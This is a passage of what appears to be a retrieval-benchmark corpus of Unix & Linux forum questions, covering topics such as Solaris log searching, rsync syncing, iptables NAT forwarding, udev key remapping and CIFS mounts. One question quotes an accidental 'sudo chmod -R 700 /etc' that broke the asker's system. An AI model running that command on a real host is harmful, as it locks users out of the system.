\\(* AS frostschutz mentioned, they do not seem to be ASCII characters. How can I find out if this is the case, and what is the work around?"} {"_id": "4451", "title": "Solaris find previous log line", "text": "We are running solaris 10 at work. What I'd like to do is find the line previous to another line. Real live example. I can find out that some of our requests are timing out with the following query. grep timeout log.log. This gives me something similar to: 2010-11-30 20:59:57,495 ERROR [82.69.73.87 - 342E15CB9651927BE715780FC40DEC53 - 3675058] Send Call (AbstractEngineServlet.java:288) > - Merchant error HTTPS Comms found. Merchant Trans Id: 22283845800 The host did not accept the connection within timeout of 60000 ms In the log files though but it may be several lines previous we log about to call `2010-11-30 20:56:57,495 INFO [82.69.73.87 - 342E15CB9651927BE715780FC40DEC53 - 3675058] about to call http://www.example.com` So what I would like to do is identify all timeouts and then identify all the \"about to call\" lines which are directly previous and have the same IP address or session. In the above example it would be finding the previous row containing \"342E15CB9651927BE715780FC40DEC53\" is this possible with the standard shell tools?"} {"_id": "4455", "title": "Using nohup on Solaris 10", "text": "I need to transfer a large number of files over SFTP (only between Solaris servers) which takes a very long time. I cannot keep my PC on for this duration. I tried: nohup sftp server1 While the shell is open, I see files are downloaded. When I close the shell it stops. In `ps -ef` I don't see the `sftp` process. The file nohup.out states: Killed by signal 15 If instead I do `ctrl-z`, `bg`, `disown` it works. However this requires the bash shell; how can I do this in ksh?"} {"_id": "74165", "title": "How to upgrade shared library without crash?", "text": "Here it says that you can rewrite an executable file and the process will run just fine - it will be re-read when a process restarts. However, when I try to replace a binary file while the process is running (with scp, from dev to test server) it says 'file busy'. And if I replace a shared library file (*.so), all the processes that link it crash. Why so? Am I missing something? How can I replace the binary files without stopping/crashing a process?"} {"_id": "74161", "title": "How to install vsftpd package", "text": "I am having a rhel6 server i want to install vsftpd package from there to my client machine How to do this."} {"_id": "74160", "title": "Two GUI applications as different users on the same screen", "text": "I am logged as user A. I want to run a GUI application as user B. User, not root. User B is local too, not remote, I only need different environment variables. I don't want to run the second X, I want them on the same display. I have no problem with programs running in terminal, the `su - ...` works. For graphical there is an error message: Application initialization failed: couldn't connect to display \":0.0\" or Gtk-WARNING **: cannot open display: :0.0 Is there a good way to fix it? The article about correct using of `xhost` or something?"} {"_id": "36247", "title": "D-Link Wireless N 150 USB Adapter on Ubuntu", "text": "Link DWA-123 wireless adapter, on my desktop running Ubuntu 9.10 the device is being recognized as in, when I hit lsusb i get this entry Bus 001 Device 010: ID 2001:3c17 D-Link Corp. [hex] How do i get this working so that i can connect it to my wireless network at home? Thanks in advance"} {"_id": "36245", "title": "Force to use specific DNS provider at network", "text": "OpenDNS offers a quite simple way for internet filtering by categories. Of course who could get the correct IP address can easily bypass the filter but it would be enough for my expectations. The bigger problem is that changing DNS provider at client side is not a big deal. **So my question is whether it is possible to force to use only specific DNS provider at local network.** The target device is a WiFi router with OpenWRT. (However I would welcome any similarly simple to set up filtering solution but the main question is the DNS provider forcing.)"} {"_id": "74168", "title": "Two-way rsync results in oscillating content", "text": "I am trying to sync content between two servers. The servers are identical builds (Ubuntu 12.04LTS) and have this cron job running to sync the content: `rsync -arzc --update --delete /htdocs/testing/www/cms_uploads/* root@123.123.123.123:/htdocs/testing/www/cms_uploads/` but I'm getting some strange results when I am testing the process as detailed below. **First test** * Uploaded aaaa.jpg to Node2 * syncs to Node1 * Delete from Node1 * Reappears on Node1 * Delete from Node2 * Removed from Node1 **Second test** * Uploaded bbbb.png to Node1 * Syncs to Node2 * Delete from Node2 * Reappears on Node2 * Delete from Node 1 * Reappears on Node1 All I am trying to do is make sure the same content is exactly the same on both servers all the time. What am I doing wrong?"} {"_id": "36241", "title": "CentOS eth0 not starting", "text": "Why would my new CentOS Virtual Machine not start eth0 on startup? I have to start it manually every time. How can I fix this? Thanks."} {"_id": "128238", "title": "Auto change splash screen after log on", "text": "I know how to change the splash screen, however I would like it to change automatically. Say I have a folder of images and I want each of them appear to be splash screen randomly every time I log on. I use KDE."} {"_id": "139192", "title": "zsh completion - show more options than just the alias", "text": "I am trying to modify the behaviour of zsh completion and its menus. I'm stuck, and I've read so much documentation it's making my head spin. The following is only an example; I'd prefer answers that aren't specific to `cd`. I have zsh set up to only show the select menu if the completion is unambiguous (`zstyle ':completion:*:*:*:*:*' menu select=2`). I have an alias `alias cd='nocorrect cd'`. When I do `cd` (no space), zsh thinks it is unambiguous, and completes the alias. zsh thinks it is unambiguous--indeed, when I do `cd<^D>`, it only shows the one possible completion. In my mind, it should show other completion options like `cdiff`. Indeed, when I do `cd<^Xn>`, I see those other options. This is also the demonstrated behaviour in the ZSH User's Guide, section 6.5.2. I sort of see what's going on. I have my completers set up as `zstyle ':completion:*' completer _expand _expand_alias _complete _ignored _match _correct _approximate _prefix`, so I can understand why it thinks expanding that alias is the first priority. I just can't figure out why it's the _only_ option. I would think it's something to do with `tag-order`, like in the second example in the user guide section 6.4.2. However, I don't have anything like that set up for this context (`:completion::complete:-command-::`), or anything else it might inherit from. All of my completion-related settings are in this file on Github. Going up from there, you can see my zsh configuration in its entirety; however, I don't have anything set up for `:completion:` outside of this file, including in my `.zshrc`, so I doubt anything's overriding it. So, can someone please explain to me what to do to get the behaviour I want? FYI, I am using zsh with the Prezto framework, which I believe is irrelevant since the problem is entirely related to built-in zsh features and modules. * * * Some output: `cd`: just changes `cd` to `nocorrect cd`, no menu. $ cd<^D> -- alias -- nocorrect cd $ cd<^Xn> -- external command -- cdbs-edit-patch cd-fix-profile cdiff cd-create-profile cd-iccdump -- builtin command -- cd -- shell function -- cdls -- alias -- cd -- parameter -- CDPATH cdpath"} {"_id": "139191", "title": "What's the difference between Primary Selection and Clipboard Buffer?", "text": "I am tweaking in Webkit-browser land in **Linux** and I come accross the terms \" _Primary Selection_ \" and \" _Clipboard selection or buffer_ \" very often. * I want to understand what are they and what difference do they have? * Where does drag and drop pasting fit in? * What is the job of `xclip` in this matter exactly?"} {"_id": "139197", "title": "Run wc and display only the word count", "text": "I have been trying to create a file called `~/dictwords.txt`, which contains the number of words found in the file `/usr/share/dict/words`. I already created the file then I removed it because I did it wrong I originally did the echo command. Then I tried this command and was so excited because I thought I was correct. wc -w /usr/share/dict/words > ~/dictwords.txt It's still wrong, I am supposed to have just the number, without a file name."} {"_id": "128231", "title": "git, setting up remote repository without ssh", "text": "I want to set up a remote git repository on a openSuse machine, and I have the following question. Do I really need ssh on the machine, to set up the remote git repository? Initially is it possible to set it up without ssh, as I am new to Linux and git at this stage, and want to get the hang of the things before I go the ssh way? Would really appreciate your suggestions."} {"_id": "85361", "title": "How to get new release updates for debian ( 7.1)", "text": "my sources.list file seems like this : deb http://ftp.ca.debian.org/debian/ wheezy main deb-src http://ftp.ca.debian.org/debian/ wheezy main ... and executed apt-get update several times but linux version id is still 7 in /etc/os-release e.g PRETTY_NAME=\"Debian GNU/Linux 7 (wheezy)\" NAME=\"Debian GNU/Linux\" VERSION_ID=\"7\" VERSION=\"7 (wheezy)\" ID=debian ANSI_COLOR=\"1;31\" HOME_URL=\"http://www.debian.org/\" SUPPORT_URL=\"http://www.debian.org/support/\" BUG_REPORT_URL=\"http://bugs.debian.org/\" I am looking for exact steps to get the latest updates(7.1)"} {"_id": "85360", "title": "Problem with installing fedora 17 in usb", "text": "I am trying to install Fedora 17 ( 32 bit Desktop Version ) on a usb which will be run on a Eee PC. My problem is that the usb is being made bootable by the software ( Universal USB Installer ) and when I boot from the usb, then prompt screen appears which asks me to select two options:- Fedora or troubleshooting. On selecting fedora, the screen goes completely blank and nothing happens for a long time. Nothing at all. Can you help me? I have searched on the net but couldn't to get any relevant information. Note:- My system is a ASUS 1GB RAM, 1.60 Intel Atom, UEFI system."} {"_id": "128234", "title": "Modifier keys cannot be mapped to regular keys on USB keyboard with udev", "text": "Using an hwdb file, `/etc/udev/hwdb.d/99-keyboard.hwdb`, I can remap the left `Alt` key on my USB keyboard as the `Ctrl` key: keyboard:usb:v*p* KEYBOARD_KEY_700e2=leftctrl This also works when I try to remap the left `Shift` key as the `Ctrl` key. But when trying to remap `Caps Lock` as the `Ctrl` key, it does not work: keyboard:usb:v*p* KEYBOARD_KEY_70039=leftctrl Running `evtest` indicates that it should be working: Event: time 1399438713.757082, type 4 (EV_MSC), code 4 (MSC_SCAN), value 70039 Event: time 1399438713.757082, type 1 (EV_KEY), code 29 (KEY_LEFTCTRL), value 1 Event: time 1399438713.757082, -------------- SYN_REPORT ------------ Event: time 1399438713.885078, type 4 (EV_MSC), code 4 (MSC_SCAN), value 700e0 Event: time 1399438713.885078, type 1 (EV_KEY), code 29 (KEY_LEFTCTRL), value 0 Event: time 1399438713.885078, -------------- SYN_REPORT ------------ It also does not work on other non-modifier keys I tried, such as `Z`. I have also tried to map `Caps Lock` to the left `Ctrl` key on a non-USB keyboard, as such: keyboard:dmi:bvn*:bvr*:bd*:svn*:pn*:pvr* KEYBOARD_KEY_3a=leftctrl This works perfectly. I tried udev versions 208 and 212 with a few different USB and non-USB keyboards, on Fedora 20 and on Arch Linux. How can I remap a non-modifier key such as `Caps Lock` to a modifier key such as `Ctrl` on a USB keyboard using **udev**? ## Update If the left `Ctrl` is itself remapped to another key, then the remapped key starts to work as the left `Ctrl` key. For example: keyboard:usb:v*p* KEYBOARD_KEY_700e0=grave KEYBOARD_KEY_70035=esc KEYBOARD_KEY_70039=leftctrl KEYBOARD_KEY_70029=capslock This behaviour is different from a non-USB keyboard, where both the remapped key and the original key may remain as a modifier."} {"_id": "87210", "title": "Unix: how to read line's original content from file", "text": "I have a data file, the content is as follows: department: customer service section: A department: marketing section: A department: finance section: A When I read each line, I would extract the department name using `cut` command. Unfortunately, the program will automatically `trim` all redundant space and thus I cut the department name incorrectly. cat dept.dat | while read line do echo $line echo $line | cut -c 12-29 done e.g. the original line is: department: marketing section: A While the program treats this line as: department: marketing section: A How can I read the line without trimming all the redundant space?"} {"_id": "87213", "title": "Problem with the installation of synaptic from command line", "text": "I can't install Synaptic package manager from command line. When I try to install it, it shows... $ sudo apt-get install synaptic Reading package lists... Done Building dependency tree Reading state information... Done Package synaptic is not available, but is referred to by another package. This may mean that the package is missing, has been obsoleted, or is only available from another source E: Package 'synaptic' has no installation candidate Please help."} {"_id": "84099", "title": "chkconfig does not display runlevel links correctly", "text": "I am using chkconfig to manipulate runlevel links on my Debian System (LSBInitScripts). I have noticed some inconsistencies, for example According to chkconfig, the script `umountiscsi.sh` is turned off in all runlevels: chkconfig umountiscsi.sh --list umountiscsi.sh 0:off 1:off 2:off 3:off 4:off 5:off 6:off however, I can see the symlinks in `/etc/rc1.d/` and `/etc/rc6.d/` ls -lAhF /etc/rc{1,6}.d/*umountiscsi.sh lrwxrwxrwx 1 root root 24 Jul 23 13:38 /etc/rc1.d/K01umountiscsi.sh -> ../init.d/umountiscsi.sh* lrwxrwxrwx 1 root root 24 Jul 23 13:38 /etc/rc6.d/K01umountiscsi.sh -> ../init.d/umountiscsi.sh* the symlinks in `rc1.d` and `rc6.d` mean, that this script will be run in runlevel 1 and 6 (which is the way it is supposed to be run). But why does chkconfig not display it correctly ?"} {"_id": "41278", "title": "To which audio format can I convert aac lost-free with ffmpeg?", "text": "Since I did not manage to get the audio work with ffmpeg -i video.mp4 -acodec copy -vcodec copy out.avi I'm searching for an audio format to which I can convert `aac` lost-free. Does such an audio-format exist for this scope?"} {"_id": "138223", "title": "Why safecopy won't recover to /media/?", "text": "I tried to recover a HDD to a mounted device: safecopy --stage1 /dev/sdb3 /media/Volume/abc Than it says `Error opening destination: /media/Volume/abc is a directory` and If I run `safecopy` with safecopy --stage1 /dev/sdb3 /dev/sdc1 it starts working. But after finishing this process I can't open the destinaton. It should simply copy all files from the bad HDD to the new HDD (not cloning, just copy the data) so what is the problem?"} {"_id": "41274", "title": "Having tmux load by default when a zsh terminal is launched", "text": "My current workflow is: 1. `CTRL`+`SHIFT`+`T` to launch a new terminal window. That starts a new zsh terminal. 2. Type `tmux` to start tmux. How can I have tmux load by default with a new terminal window?"} {"_id": "84090", "title": "How can I revert a chmod on the etc directory?", "text": "I accidentally executed the following command on the etc directory: sudo chmod -R 700 /etc I know that I have done something very wrong. My terminal now prints: I have no name!@ubuntu: /$ How can I revert my etc directory to its earlier state? I tried changing the permissions but it is failing now. Also, it would be very helpful if someone can explain what actually went wrong when I executed that command on etc. It was only file permissions. Then why does the whole system seems completely blown up? Why is it that no login passwords are working now? I know that there is a file in etc directory that has to do with users. But how did changing permissions jeopardize everything? Some technical details about this would be very helpful."} {"_id": "41270", "title": "How to use Public IP in case of Two ISP which difers from each other Pfsense", "text": "Please bare with my long explanation but this is important to explain the actual problem. Please also pardon my knowledge with PFsense as i am new to this. I have single PFSense box with 3 Ethernet adapter. Before moving to configuration for these, i want to let you know i have two Ethernet based Internet Leased Line Connectivity let's call them ISP A and ISP B. Then last inetrface is LAN which is connected to network switch. Typical network diagram * * * ISP A -----> PFSense ----> Switch ---- > Servers ISP B -----> * * * ISP A (Initially Purchased) * * * WAN IP:- 113.193.X.X /29 Gateway IP :- 113.193.X.A and other 4 usable public IP in same subnet(So the gateway for those IP are also same). ISP B (Recently Purchased) * * * WAN IP:- 115.115.X.X /30 Gateway IP :- 115.115.X.B and other 5 usable public IP in different subnet(So the gateway for those IP is different), for example if 115.119.X.X2 is one of the IP from that list then the gateway for this IP is 115.119.X.X1. * * * Configuration for 3 Interfaces * * * Interface : WAN Network Port : nfe0 Type : Static IP Address : 113.193.X.X /29 Gateway : 113.193.X.A Interface : LAN Network Port : vr0 Type : Static IP Address : 192.168.1.1 /24 Gateway : None Interface : RELWAN Network Port : rl0 Type : Static IP Address : 115.115.X.X /30 (I am not sure of the subnet) Gateway : 115.115.X.B * * * To use Public IP from ISP A i have done following steps * * * a) Created Virtual IP using either ARP or IP Alias. b) Using Firewall: NAT: Port Forward >> i have created specific natting from one public IP to my internal Lan private IP for example :- WAN TCP/UDP * * 113.193.X.X1 53 (DNS) 192.168.1.5 53 (DNS) WAN TCP/UDP * * 113.193.X.X1 80 (HTTP) 192.168.1.5 80 (HTTP) WAN TCP * * 113.193.X.X2 80 (HTTP) 192.168.1.7 80 (HTTP) etc., c) Current state for Firewall: NAT: Outbound is Manual and whatever default rule are defined for the WAN those are only present. d) If this section in relevant then for Firewall: Rules at WAN tab then following default rule has been generated. * RFC 1918 networks * * * * * Block private networks * Reserved/not assigned by IANA * * * * * * * * * To use Public IP from ISP B i have done following steps * * * a) Created Virtual IP using either ARP or IP Alias. b) Using Firewall: NAT: Port Forward >> i have created specific natting from one public IP to my internal Lan private IP for example :- RELWAN TCP/UDP * * 115.119.116.X.X1 80 (HTTP) 192.168.1.11 80 (HTTP) c) Current state for Firewall: NAT: Outbound is Manual and whatever default rule are defined for the RELWAN those are only present. d) If this section in relevant then for Firewall: Rules at RELWAN tab then following default rule has been generated. * RFC 1918 networks * * * * * * Reserved/not assigned by IANA * * * * * * * * * Last thing before my actual query is to make you aware that to have multiple Wan setup i have done following steps * * * a) Under System: Gateways at Groups Tab i have created new group as following MultipleGateway WANGW, RELWAN Tier 2,Tier 1 Multiple Gateway Test b) Then Under Firewall: Rules at LAN tab i have created a rule for internal traffic as follows * LAN net * * * MultipleGateway none c) This setup works if unplug first ISP traffic start routing using ISP 2 and vice-versa. * * * Now my main query and problem is i am not able to use public IP address allocated by ISP B, i have tried many small tweaks but not successful in anyone. The notable difference between the two ISP is a) In case of ISP A there Public usable IP address are on same subnet so the gateway used for the WAN ip is same for the other public IP address. b) In case of ISP B there public usable IP address are on different subnet so the obvious the gateway IP for them is different from WAN gateway's IP. Please let me know how to use ISP B public usable IP address, in future also i am going to rely for more IPs from ISP B only."} {"_id": "41273", "title": "How to create a list of installed packages for easy/automatic reinstall after disk is formatted", "text": "I'll change my system from 32 bits to 64 bits, and will be the same I had before, Debian Squeeze, but I do not want to lose the programs I installed before, because I do not remember the name of them all. So I wanted a command to do this for me, save the name of all the programs I installed on a file, but not the standard programs that came with the system, and when I'm using the other system I would mention the name of the file and your directory for everything to be installed automatically. One more question: is it possible to do this with programs that were installed manually with `dpkg-i package.deb`? If so, how can I do that?"} {"_id": "41272", "title": "Plan 9 from Bell Labs book", "text": "I would really like to obtain a book on Plan 9's design and ethos. Do such things exist? Anybody have a recommendation? (Asking here on the basis that Plan 9 was once meant to be Unix's successor, AIUI)"} {"_id": "138221", "title": "CGroup Processes Not Terminated even when main process has been killed through Systemctl stop command", "text": "I am running `systemctl stop process` command for some process. Please find the output for `systemctl status process` below: Loaded: loaded Active: deactivating (stop-sigterm) CGroup: name=systemd:process \u251c 15768 process1 \u251c 15769 process2 \u2514 15822 /bin/systemctl restart named.service Even after running systemctl stop process, the status of Main Process remains \"deactivating\" only. As per the default behavior, once the main process has exited, the processes in the cgroup should have been killed. Can someone please provide some hint to resolve this issue. Thanks"} {"_id": "138227", "title": "Iptables not forwarding. Input instead", "text": "I have set up iptables on my ubuntu headless server: iptables -S -P INPUT ACCEPT -P FORWARD DROP -P OUTPUT ACCEPT -A INPUT -s 10.1.3.90/32 -i eth0 -j LOG --log-prefix \"INPUT: \" -A INPUT -i eth1 -j ACCEPT -A INPUT -i ppp0 -j ACCEPT -A FORWARD -s 10.1.3.90/32 -i eth0 -j LOG --log-prefix \"FORWARD: \" -A FORWARD -i eth0 -j ACCEPT -A FORWARD -i eth1 -o eth0 -j ACCEPT -A FORWARD -i ppp0 -o eth0 -j ACCEPT iptables -S -t nat -P PREROUTING ACCEPT -P INPUT ACCEPT -P OUTPUT ACCEPT -P POSTROUTING ACCEPT -A PREROUTING -s 10.1.3.90/32 -j LOG --log-prefix \"ROUTE: \" -A PREROUTING -i eth0 -p tcp -m tcp --dport 22 -j ACCEPT -A PREROUTING -i eth0 -p tcp -m tcp --dport 11108 -j DNAT --to-destination 169.254.1.2:11108 -A PREROUTING -i eth0 -p udp -m udp --dport 11108 -j DNAT --to-destination 169.254.1.2:11108 -A PREROUTING -i eth0 -p tcp -m tcp --dport 5555 -j DNAT --to-destination 169.254.1.2:5555 -A PREROUTING -i eth0 -j DNAT --to-destination 169.254.2.2 -A POSTROUTING -o eth0 -j MASQUERADE -A POSTROUTING -s 169.254.1.2/32 -o eth0 -j MASQUERADE -A POSTROUTING -s 169.254.2.2/32 -o eth0 -j MASQUERADE When i send UDP packet to port 11108 it should be routed to ppp0 169.254.1.2:11108 and FORWARD rule should apply. instead a INPUT rule is applied and packet is not routed. this is the log from kernel. there is no FORWARD: Jun 20 10:58:51 ubuntu kernel: [ 337.871043] INPUT: IN=eth0 OUT= MAC=00:1c:42:02:04:dd:00:1c:42:d7:b0:24:08:00 SRC=10.1.3.90 DST=10.1.3.117 LEN=52 TOS=0x00 PREC=0x00 TTL=128 ID=22127 PROTO=UDP SPT=11108 DPT=11108 LEN=32 Jun 20 10:58:53 ubuntu kernel: [ 339.865420] INPUT: IN=eth0 OUT= MAC=00:1c:42:02:04:dd:00:1c:42:d7:b0:24:08:00 SRC=10.1.3.90 DST=10.1.3.117 LEN=68 TOS=0x00 PREC=0x00 TTL=128 ID=22484 PROTO=UDP SPT=11108 DPT=11108 LEN=48 Jun 20 10:58:55 ubuntu kernel: [ 341.864446] INPUT: IN=eth0 OUT= MAC=00:1c:42:02:04:dd:00:1c:42:d7:b0:24:08:00 SRC=10.1.3.90 DST=10.1.3.117 LEN=68 TOS=0x00 PREC=0x00 TTL=128 ID=22818 PROTO=UDP SPT=11108 DPT=11108 LEN=48 Jun 20 10:58:57 ubuntu kernel: [ 343.707469] ROUTE: IN=eth0 OUT= MAC=ff:ff:ff:ff:ff:ff:00:1c:42:d7:b0:24:08:00 SRC=10.1.3.90 DST=10.1.3.255 LEN=229 TOS=0x00 PREC=0x00 TTL=128 ID=23133 PROTO=UDP SPT=138 DPT=138 LEN=209 Jun 20 10:58:57 ubuntu kernel: [ 343.863994] INPUT: IN=eth0 OUT= MAC=00:1c:42:02:04:dd:00:1c:42:d7:b0:24:08:00 SRC=10.1.3.90 DST=10.1.3.117 LEN=68 TOS=0x00 PREC=0x00 TTL=128 ID=23266 PROTO=UDP SPT=11108 DPT=11108 LEN=48 Jun 20 10:58:59 ubuntu kernel: [ 345.877465] INPUT: IN=eth0 OUT= MAC=00:1c:42:02:04:dd:00:1c:42:d7:b0:24:08:00 SRC=10.1.3.90 DST=10.1.3.117 LEN=52 TOS=0x00 PREC=0x00 TTL=128 ID=23684 PROTO=UDP SPT=11108 DPT=11108 LEN=32 Jun 20 10:58:59 ubuntu kernel: [ 345.879215] INPUT: IN=eth0 OUT= MAC=00:1c:42:02:04:dd:00:1c:42:d7:b0:24:08:00 SRC=10.1.3.90 DST=10.1.3.117 LEN=68 TOS=0x00 PREC=0x00 TTL=128 ID=23707 PROTO=UDP SPT=11108 DPT=11108 LEN=48 Jun 20 10:59:00 ubuntu kernel: [ 346.010347] ROUTE: IN=eth0 OUT= MAC=ff:ff:ff:ff:ff:ff:00:1c:42:d7:b0:24:08:00 SRC=10.1.3.90 DST=10.1.3.255 LEN=78 TOS=0x00 PREC=0x00 TTL=128 ID=23798 PROTO=UDP SPT=137 DPT=137 LEN=58 Jun 20 10:59:00 ubuntu kernel: [ 346.759893] ROUTE: IN=eth0 OUT= MAC=ff:ff:ff:ff:ff:ff:00:1c:42:d7:b0:24:08:00 SRC=10.1.3.90 DST=10.1.3.255 LEN=78 TOS=0x00 PREC=0x00 TTL=128 ID=23811 PROTO=UDP SPT=137 DPT=137 LEN=58 Jun 20 10:59:01 ubuntu kernel: [ 347.509887] ROUTE: IN=eth0 OUT= MAC=ff:ff:ff:ff:ff:ff:00:1c:42:d7:b0:24:08:00 SRC=10.1.3.90 DST=10.1.3.255 LEN=78 TOS=0x00 PREC=0x00 TTL=128 ID=23944 PROTO=UDP SPT=137 DPT=137 LEN=58 Jun 20 10:59:01 ubuntu kernel: [ 347.878185] INPUT: IN=eth0 OUT= MAC=00:1c:42:02:04:dd:00:1c:42:d7:b0:24:08:00 SRC=10.1.3.90 DST=10.1.3.117 LEN=68 TOS=0x00 PREC=0x00 TTL=128 ID=24086 PROTO=UDP SPT=11108 DPT=11108 LEN=48 Jun 20 10:59:01 ubuntu kernel: [ 347.881900] INPUT: IN=eth0 OUT= MAC=00:1c:42:02:04:dd:00:1c:42:d7:b0:24:08:00 SRC=10.1.3.90 DST=10.1.3.117 LEN=52 TOS=0x00 PREC=0x00 TTL=128 ID=24109 PROTO=UDP SPT=11108 DPT=11108 LEN=32"} {"_id": "138264", "title": "Debian 7 remote access - grey background", "text": "I Have got problem. After installing gnome/kde and vnc I have a problem while opening remote vnc- viewer. Grey background occeress http://i.imgur.com/QomWGIR.png What is the problem with it? Debian 7/64bit/wheezy"} {"_id": "42898", "title": "Find any lines exceeding a certain length", "text": "Is it possible to find any lines in a file that exceed 79 characters?"} {"_id": "77404", "title": "Unable to concatenate files with find ./subdir/* -print0 | sort | xargs -0 cat > merge.txt", "text": "I am trying to concatenate thousands of files that result from processing the pieces output by `split` with find ./subdir/* -print0 | sort | xargs -0 cat > full_merge.txt The files under `subdir` are: something.foo.aaaaa.output something.foo.aaaab.output something.foo.aaaac.output ... But I get `File name too long` Why?"} {"_id": "112318", "title": "audit activity on abstract domain sockets?", "text": "Using the audit system (`auditd`, `auditctl`) on Linux, is it possible to log connections to Unix domain sockets on the abstract namespace (or more exactly to filter them based on the (abstract) _path_ )? For instance, I can log connections to the X server on `:0` via `/tmp/.X11-unix/X0` with: auditctl -a exit,always -F arch=b64 -S connect -F path=/tmp/.X11-unix/X0 But how would I do the same with connections on the abstract namespace (`@/tmp/.X11-unix/X0`)?"} {"_id": "42896", "title": "What is the relationship between SLED and OpenSUSE?", "text": "I have read that OpenSUSE is to \"SUSE Linux Enterprise Desktop\" what Fedora is to Red Hat Enterprise Linux, but is there a document that explains this in more detail? For example, from what version of OpenSuse is SLED 11 built? What are the update policies of the two distros? (Edit: Someone asked something similar here)"} {"_id": "84033", "title": "Silencing all stdout during bootup", "text": "I am looking for a completely silent bootup of my Ubuntu Server 13.04 installation (dumped to file rather than stdout). What I want is the screen to be blacked out (eventually replaced with a logo) until my system logs in. I have silenced the commands in bash, but it looks like I still get commands coming from 'Upstart' and possibly some other services."} {"_id": "77400", "title": "GNU toolchains against GCC SVN?", "text": "Is there anything like CodeSourcery which provides prebuilt binaries for arm toolchains built against gcc-svn. http://elinux.org/Toolchains#Prebuilt_toolchains Otherwise, a working instruction for successfully building against gcc-svn would be fine."} {"_id": "19439", "title": "How can I display syntax highlighting on a file?", "text": "Is there a variant of `cat` that outputs syntax-highlighted lines of code when used on a source file? An idea: maybe `vi[m]` or another editor can be asked to dump the syntax- highlighted contents of said files to `stdout` and exit immediately?"} {"_id": "98810", "title": "How to `cat` file with syntax highlight?", "text": "In my hello.c: > /* Hello World program */ > > #include > > main() { > > > printf(\"Hello World\"); > > > } How can i `cat` this file on terminal with syntax highlight?"} {"_id": "39654", "title": "Execute on the basename of a find command", "text": "Suppose I have a directory structure as follows test test/a test/b Now I want to execute a command, such that in the `.` folder I can execute a command on the basename of the files `a` and `b`. So basically, I want something like this, which I naively tried find test -type f -exec touch `basename {}` \\; Only, this does not result in empty files `a` and `b` in the parent directory. Suppose that my touch command can only take a single argument. This will result in a directory structure like this a b test test/a test/b I know how to do this in a bash script, but I am interested in single command solution."} {"_id": "125907", "title": "Replacing backslashes with commas in Bash", "text": "I tried writing a script in which I am reading through a file line-by-line. I am supposed to replace a backslash (\\) with a comma (,). The input file is as follows: 1,2,3,WORKSTATION1\\A,5 1,2,3,WORKSTATION2\\B,5 1,2,3,WORKSTATION1\\C,5 1,2,3,WORKSTATION1\\D,5 1,2,3,WORKSTATION1\\E,5 1,2,3,WORKSTATION1\\F,5 1,2,3,WORKSTATION1\\G,5 The piece of code I've written is as follows: #!/bin/bash cat $1 | while read -r line do ln=$(echo $line | xargs | sed 's/\\\\/,/g' ) echo $ln done echo Done! When I run `./script.sh file.csv`, I am getting following output: 1,2,3,WORKSTATION1A,5 1,2,3,WORKSTATION2B,5 1,2,3,WORKSTATION1C,5 1,2,3,WORKSTATION1D,5 1,2,3,WORKSTATION1E,5 1,2,3,WORKSTATION1F,5 1,2,3,WORKSTATION1G,5 Done! Whereas, I am expecting an output as follows: 1,2,3,WORKSTATION1,A,5 1,2,3,WORKSTATION2,B,5 1,2,3,WORKSTATION1,C,5 1,2,3,WORKSTATION1,D,5 1,2,3,WORKSTATION1,E,5 1,2,3,WORKSTATION1,F,5 1,2,3,WORKSTATION1,G,5 Done! I also tried replacing `sed 's/\\\\\\/,/g'` with `tr \"\\\\\\\" \",\"`, but it is not helping. Any modifications needed?"} {"_id": "71261", "title": "End process from another SSH window", "text": "I forgot to use `screen` and I have a task that has been running for quite some time, and I do not want to lose the saved data. Basically `Ctrl``c` will end the task and save the data if I am on the same terminal session, is there a way to stop it in different SSH window? I do not have access to the same terminal window at the moment."} {"_id": "71264", "title": "How to add GTK Theme Preference on Gnome 2 using FreeBSD", "text": "GTK Theme Preferences is available in the Shimmer Project PPA for Ubuntu 12.04 Precise Pangolin and 12.10 Quantal Quetzal. Add the PPA and install it using the following commands: sudo add-apt-repository ppa:shimmerproject/ppa sudo apt-get update sudo apt-get install gtk-theme-config The commands are for Linux system and I have a FreeBSD System . So my question is how can I istall on FreeBSD ?"} {"_id": "71266", "title": "Arch Linux installation on VMWare will not proceed", "text": "I'm trying to install Arch Linux 2013.14.01 on VMWare Player, but after I select \"Boot Arch Linux (i686)\", it goes directly to: archiso login: root (automatic login) In the tutorials I've seen they go directly to the blue setup screen. Why isn't that happening for me?"} {"_id": "137453", "title": "mount.cifs fails while smbclient succeeds", "text": "I'm trying to mount a NetApp CIFS share to one of our servers and I keep getting \"Permission Denied\" printed to stderr and `NT_STATUS_WRONG_PASSWORD` printed to the running `dmesg`. root@xxxehpvld05 ~ $ mount.cifs -vv //zhp-nas.xxx.com/perspectives /mnt/secure/cifs -o credentials=/etc/cifs.creds mount error(13): Permission denied Refer to the mount.cifs(8) manual page (e.g. man mount.cifs) root@xxxehpvld05 ~ $ dmesg | tail CIFS VFS: cifs_mount failed w/return code = -13 Status code returned 0xc000006a NT_STATUS_WRONG_PASSWORD CIFS VFS: Send error in SessSetup = -13 CIFS VFS: cifs_mount failed w/return code = -13 Status code returned 0xc000006a NT_STATUS_WRONG_PASSWORD CIFS VFS: Send error in SessSetup = -13 CIFS VFS: cifs_mount failed w/return code = -13 Status code returned 0xc000006a NT_STATUS_WRONG_PASSWORD CIFS VFS: Send error in SessSetup = -13 CIFS VFS: cifs_mount failed w/return code = -13 The `smbclient` command, however works without issue, using the same exact credentials file: root@xxxehpvld05 ~ $ smbclient -L //zhp-nas.xxx.com/perspectives -A /etc/cifs.creds Domain=[XXX] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager] Sharename Type Comment --------- ---- ------- IPC$ IPC Remote IPC ZHPSubmit-dev Disk [...snip...] It seems like if one works the other should as well especially since the credentials file also specifies the domain name."} {"_id": "37598", "title": "Configuring networked printer to archive print jobs", "text": "Our existing infrastructure has a shared printer running on a windows machine. It may be upgraded to a real network tcp/ip based printer in the near future. How can I make it automatically keep a copy of whatever it is printing as a pdf? Maybe use cups on a Linux machine, which will act as the print server, and create two print jobs: one to the pdf printer, the other to the network printer? Something like that? Is there something easily available or a bunch of things I can glue together to make this work?"} {"_id": "33038", "title": "How to split the output and store it in an array?", "text": "This is the output: 3,aac-lc, 93.8, aaclc, 77.3, h.264, 1024.6, h.264, 1029.1, 31, 31, 0,0,0.000000,31,31,0,0,0.000000,7,0,0,0.000000,30,1280 720,10,0,0,0.000000,30,1280 720 I tried with 2 scenario: 1. Storing in an array @arr=split(',',$stats); echo \"statistics: $stats\" 2. Storing in a variable echo $stats | cut -d ',' -f | read s1 echo $s1 But neither scenario is working."} {"_id": "18811", "title": "How to obtain inverse 